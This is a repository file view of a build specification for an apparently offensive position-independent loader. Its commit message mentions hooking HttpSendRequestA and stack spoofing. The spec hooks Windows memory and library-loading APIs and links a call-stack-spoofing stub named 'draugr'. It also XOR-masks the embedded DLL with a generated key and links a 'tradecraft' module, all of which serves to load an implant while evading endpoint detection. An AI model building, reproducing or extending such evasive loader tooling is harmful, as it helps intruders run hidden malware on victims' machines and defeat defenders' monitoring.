Files
S1n1st3r ec438f41d5 feat: Added hooks - Added strreps - update gitignore - fixed code size (#5)
* update gitignore

* Fixed code size issue and added all hooks

* Add hooking for HttpSendRequestA - add multiple modules to do stack spoofing with call instructions before gadget - update cna strreps
2026-01-15 18:25:58 -06:00

44 lines
966 B
RPMSpec

x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize
# merge pic services
run "services.spec"
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export